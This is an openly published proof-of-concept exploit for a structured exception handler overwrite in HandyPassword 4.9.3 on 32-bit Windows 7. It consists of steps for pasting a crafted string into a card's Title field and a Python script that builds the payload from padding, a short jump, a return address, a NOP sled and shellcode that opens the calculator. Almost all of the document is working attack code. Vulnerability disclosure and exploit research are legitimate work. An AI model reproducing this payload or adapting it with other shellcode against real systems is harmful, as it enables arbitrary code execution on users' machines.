HandyPassword 4.9.3 SEH Overwrite

`********************************************************************************************  
# Exploit Title: HandyPassword SEH-Over Write Exploit  
# Date: 9/24/2015  
# Exploit Author: Un_N0n  
# Software Link: http://www.handypassword.com/download.shtml  
# Version: 4.9.3  
# Tested on: Windows 7 x86(32 BIT)  
********************************************************************************************  
  
[Steps to Produce the Crash]:  
1- open 'HandyPassword.exe'.  
2- Then From Menu Goto New Card->Simple Login Form.  
3- Click on Create Card, Enter the contents of 'Exploit.txt' Created by script in the Title Field.  
4- Enter Short Random value in the rest of the fields.  
5- Click on OK  
~ Calculator will appear and Software will Crash.  
  
[Code to produce Exploit]:   
'''  
  
junk = "A"*1144  
  
nseh = "\xeb\x06\x90\x90" #JMP 6bytes  
jmp ="\xB3\x27\x2F\x7F" #0x7f2f27b3 From   
  
nops = "\x90"*50  
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"  
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"  
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"  
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"  
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"  
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"  
"\x45\x81\x3e\x43\x72\x65\x61\x75"  
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"  
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"  
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"  
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"  
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"  
"\x6c\x63\x89\xe2\x52\x52\x53\x53"  
"\x53\x53\x53\x53\x52\x53\xff\xd7");  
junk2 = "D"*2000  
  
file = open("exploit.txt",'w')  
file.write(junk+nseh+jmp+nops+shellcode+junk2)  
file.close()  
`